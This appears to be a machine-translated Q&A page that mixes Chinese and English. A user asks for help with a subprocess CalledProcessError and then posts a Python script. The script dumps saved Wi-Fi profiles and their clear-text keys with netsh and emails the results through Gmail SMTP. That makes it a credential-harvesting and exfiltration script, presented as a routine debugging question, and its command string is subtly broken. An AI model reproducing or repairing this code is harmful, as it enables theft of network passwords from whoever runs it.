简体   繁体   English

CalledProcessError for Subprocess.check_output for wlan 在 windows

[英]CalledProcessError for Subprocess.check_output for wlan in windows

I'm facing an error called CalledProcessError in Subprocess.Check_output module.我在 Subprocess.Check_output 模块中遇到了一个名为 CalledProcessError 的错误。 Can anyone fix this?任何人都可以解决这个问题吗?

you program is returning a non zero status which means that an error occurred during the processing of the command.您的程序正在返回非零状态,这意味着在处理命令期间发生了错误。 You probably want to add some argument to your subprocess.check_output command to fix that.您可能想在 subprocess.check_output 命令中添加一些参数来解决这个问题。

So i made some changes and im still trying to get the Email pass Send main working.所以我做了一些改变,我仍然试图让 Email 通行证发送主要工作。 can you check if it works for you?你能检查它是否适合你吗?

import subprocess, smtplib, re
import sys


def send_mail(email, password, message):
    server = smtplib.SMTP("smtp.gmail.com", 587)
    server.starttls()
    server.login(email, password)
    server.sendmail(email, email, message)
    server.quit()


command = "netsh wlan show profile"
networks = subprocess.check_output(command, shell=True ,stderr=subprocess.STDOUT)
network_names_list = re.findall("(?:Profile\s*:\s)(.*)", networks.decode("latin-1"))


result = ""

for network_name in network_names_list:
    try:
        print(network_name)
        command = "netsh wlan show profile key=clear" + "".join(network_name)
        current_result = str(subprocess.check_output(command, shell=True))
        result = result + current_result
        send_mail("email", "pass", result)
    except subprocess.CalledProcessError as e:
        raise RuntimeError("command '{}' returns with error (code {}):{}".format(e.cmd,e.returncode,e.output))

subprocess-check-output-returned-non-zero-exit-status 子进程检查输出返回非零退出状态

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM